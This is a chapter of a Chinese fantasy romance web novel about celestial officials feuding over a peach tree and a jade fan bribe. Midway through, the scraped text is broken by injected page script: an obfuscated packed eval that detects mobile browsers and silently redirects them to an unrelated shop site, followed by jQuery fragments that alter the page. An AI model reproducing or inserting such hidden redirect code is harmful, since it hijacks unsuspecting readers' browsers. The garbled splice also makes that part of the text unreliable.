10. 青玉扇

作品:《长渡卿

    宿禾想传讯给谢长渡告状,但转念一想,以谢长渡现在对树上那家伙的态度,没准不仅不会问罪,宋常卿下来以后没准还会一脸淡定的夸他砸的好。


    天知道宋常卿给谢长渡灌了什么迷魂汤,自从那日在院外碰了一面以后魂儿就像被勾走了一般,就连渡身之路都要亲自下界领着他走。


    宿禾咬咬牙,抬头对上宋常卿挑衅的眼神,转身回了屋内。


    惹不起他还躲不起吗?!


    事实证明,确实躲不起。


    因为就连渡厄司里那帮小武仙也被灌了迷魂汤,帮着宋常卿折腾他。


    宿禾:“……”


    宋常卿兴致上来了就亲自蹲在树上摘桃子砸人,其它时候就让小武仙们轮班守着,看见宿禾过来就猴儿似的拿桃子追着他的脸砸。


    半个月后,又一次被树上长了眼睛的桃子砸中的宿禾忍无可忍,冲到谢长渡的书房,一巴掌拍在桌上,力道之大,连桌上摆着的笔架也为之一震:


    “谢长渡你管管他!”


    他指着额头上一个盖一个的包:“半个月!半个月了!宋常卿一天天啥也不干,就蹲在树上拿桃子砸我!!!”


    宿禾把桌子拍得“啪啪”响:“要么你给他找点事儿做,要么我就不干活了!”


    “我和他,这渡厄司里只能留一个!”


    谢长渡将目光从面前堆积成山的文书中收回来,看着宿禾脸上那一片青青紫紫,良久才缓缓吐出一个字:


    “该。”


    “谢!长!渡!”


    宿禾简直要疯了:“我真罢工了!以后那些文书我一个字儿不看,全让人送过来,把你埋了算了!”


    谢长渡依旧淡淡的:“好。”


    宿禾被他的反应差点气到灵魂出窍,出门右转走半里路就能上奈何桥。


    他深吸一口气,眼珠子转了转,忽然从袖子里掏出把青玉扇子:


    “只要你能说服宋常卿别再逮着我折腾,这扇子就归你了。”


    宿禾手中的扇子通身由青玉雕成,扇面上绘着一片荷塘,正是宋常卿先前在宿禾院中随手赏给小文仙的那一柄。


    谢长渡连个眼神都没分给宿禾,提起笔又垂眸批起文书来。


    宿禾装模作样的叹了口气:“唉……不要就算了,这可是小天君赏的物件儿,我花了好大代价才从那小文仙手里换来的,要我送人我还不乐意呢……”


    谢长渡:“我会帮你劝他。”


    宿禾一下子笑得见牙不见眼:


    “你这是什么话,这扇子本就是准备送你的,哪用得着这么麻烦,记得帮我多说几句好话嗷~”


    谢长渡将手伸到他眼前:“扇子。”


    宿禾白他一眼:“你真是没救了。”


    他把手中的青玉扇子往谢长渡手心里一拍,转身就要走,余光却瞥见谢长渡左手手腕。


    手指纤长劲瘦,却不显得纤弱,腕骨突出……但这些都不是重点。


    宿禾不可置信:“你那颗珠子呢?”


    谢长渡腕上一片空荡,那颗白玉珠子连带着红绳一同不见了踪影。


    察觉到他的视线,谢长渡往腕上瞥了一眼,语气淡然:


    “摘了。”


    这一答复让宿禾更是惊诧,他先前听太白金星说过,谢长渡手腕上挂着的那串红绳可是自他飞升就在的,从不离身的挂了两百多年,如今却给摘了?!


    宿禾瞪着眼睛想去探谢长渡的额头,看他是不是被什么玩意儿给夺舍了。


    谢长渡抬手将他的手挡下来:


    “你该回去批文书了。”


    宿禾脸上的表情转眼便全部消失,木着脸转身就走,出了门就开始小声叭叭:


    “成天就知道文书文书文书,捉鬼捉鬼捉鬼,生产队的驴都不带这么使的,以后和文书厉鬼凑一块儿过日子得了。”


    他这些话都让谢长渡听入耳中,指尖微顿了一下,旋即自袖中取出一个精美的盒子来。


    动作间衣领微松,一条细细的红绳在脖颈间若隐若现。


    谢长渡将盒子放在桌上,拨开金质的扣子将其掀开,里面是一片鲜红的布料,上面用金线绣着花纹,看上去面料极佳,边角有些粗糙,似乎曾被什么人经年累月的攥在手中,以至于起了褶皱。


    在这片布料上面,还有一张早已褪色的纸,上面的血迹勾勒成三个歪歪扭扭的字,一大两小,大抵因为年岁久远,早已经模糊不清,看不出写的是什么了。


    谢长渡将红布上细微的褶皱抚平,小心的将手中的青玉扇子放入其中,而后盖上盖子,收回袖中。


    刚做完这些,就见宋常卿又溜着串小武仙自他门前经过。


    渡厄司早给宋常卿收拾好了住处,就在渡厄司东南角,谢长渡书房的右侧,故而窗子一推,宋常卿成日里在院子里做些什么,出门朝哪边走,都让谢长渡看得一清二楚。


    见宋常卿边走边哼着小调,手中还掂着个从未见过的球状物事,一步一颠的朝宿禾院里走去,谢长渡破天荒出声唤住了他:


    “小天君留步。”


    宋常卿停下脚步侧头望去,见谢长渡正端坐在桌边透过半开的窗子看过来,二人视线在半空中交汇又分开。


    宋常卿让小武仙们在原地等着,自己则把刚淘来的新鲜玩意儿塞进袖子里,懒洋洋的转了个弯儿,脚尖一点,人便出现在谢长渡对面:


    “谢掌司有何贵干?”


    谢长渡抬手轻挥,桌上原本杂乱堆着的折子玉简便都自己飞起来到一边堆好,腾出来一片地方。


    手上又是一挥,一套玉质的茶具出现在桌上,茶壶浮在半空自己煮起了茶。


    做完这些,谢长渡打了个手势:


    “小天君请坐。”


    宋常卿也不客气,整个人没骨头似的往书桌边上的躺椅里一瘫,还摇了两下:


    “椅子不错,没想到你这人看着呆呆的,还挺会享受。”


    谢长渡给他倒了小半杯茶:“那是敛光君的位子,他平日里闲了总爱到这来蹭茶。”


    宋常卿“哦”了声,把茶端在手里暖着,不动了:


    “你叫我来做什么?”


    谢长渡没有任何犹豫就把宿禾给卖了:


    “敛光君方才来找我,说让我劝着你别再去折腾他。”


    宋常卿晃荡着杯子里的茶,闻言眼梢微挑:“我说呢,原来告状了啊……那谢掌司答应了吗?”


    谢长渡点头:“毕竟收了报酬。”


    “很贵重?”


    谢长渡极低的笑了一声:“很贵重。”


    连渡厄司掌司都觉得贵重的东西,宿禾这是拿出了何等天材地宝?宋常卿好奇的盯着谢长渡的脸,奈何有面具挡着,看不见他脸上的神情。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176443|150601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>他将杯中的茶一饮而尽,拍拍手:


    “你这什么茶,味道不错。”


    谢长渡道:“喜欢便带些回去喝。”


    宋常卿摇头:“沏茶多麻烦?没兴趣,就当我存在你这儿,往后我要是来了,就给我多沏两壶。”


    见谢长渡低低应了一声,对自己的要求没有异议,宋常卿起身抻了抻手臂,便要走人:


    “若掌司没有别的事情要同我讲,我就先走了,顺便麻烦谢掌司告诉宿禾大人,他先前得罪我的事儿,看在你的面子上本君就不追究了,但往后再撞到我手上……”


    宋常卿回头弯着眼笑了笑,艳丽得不可方物:“我说不准真的会起锅煮蛇吃噢。”


    谢长渡一时间被晃了眼,待到回神,眼前早没了宋常卿的影子。


    他无奈勾了勾唇,坐回去继续批文书,只是心怎么也静不下来,桌上的茶水空了一回又一回,一垂眸又是方才宋常卿朝他回眸的露出的那一抹笑。


    其实就连宋常卿也不知道,两人早在两百多年前就曾见过一面,自那以后,红衣人那张扬而肆意的笑便印在了一身脏污的孩童眼中,若天神降临。


    谢长渡在宿禾院门口见到宋常卿的那一刻便将人认了出来,哪怕过去了两百余年,宋常卿和当初相比依旧没有半分变化,反倒是他自己,从头到尾找不出一丝当年的痕迹。


    但谢长渡确实没想到自己放在心底最深处记了那么多年的人竟真是神仙,还是那位在天庭中臭名昭著的小天君。


    宋常卿打谢长渡院里出来后便心情颇佳,晃着脚尖一步一颠,慢悠悠的往前走,几个小武仙又自觉的排成一列跟在他后头,走着走着,领头的小武仙见他眼都不转的路过宿禾的院子,出声提醒道:


    “大人,大人,咱们走过头了。”


    宋常卿正式在渡厄司挂职以后,几个小武仙对他的称呼便从“小天君”变成了“天君大人”和“大人”。


    宋常卿懒洋洋摇了摇手指:


    “没走过头,往后你们也不用去蹲守着了。”


    几个小武仙眨眨眼睛,面面相觑一会儿:


    “为什么啊大人。”


    他们玩得还挺起劲的,而且宋常卿在上头兜着,还不会被问罪。


    领头的小武仙反应最大:“大人就这么放过他了吗?”


    “这就是你狭隘了。”


    宋常卿在原地站定,抬头望天,轻叹了口气:“得饶人处且饶人,他被咱们这么折腾了十几日,大概也知道错了。”


    其实是宋常卿折腾宿禾几日后便已消气了,后面纯粹是闲着没事儿干给宿禾找事。


    就算谢长渡今日不同他讲,再过两日宋常卿估计也懒得再去折腾人了。


    但几个小武仙不知道,顿时感动得眼泪汪汪:


    小天君果然同掌司大人一样是这世上顶好顶厉害的人!


    他们都同守卫大哥打听过了,当日宋常卿可是被晾在门外干等了半个多时辰!要不是小天君不顾阻拦自己冲进来了,指不定还得受多少委屈!


    若是让宿禾听到他们心里想的这些话,定然要气得跳脚,然后不停歇的指着宋常卿骂上三天三夜。


    奈何宿禾没有千里眼顺风耳,也不会读心。


    自然也不知道在他毫不知情的时候,宋常卿只凭两句话,就让小武仙们对他本就不好的印象更下一层楼。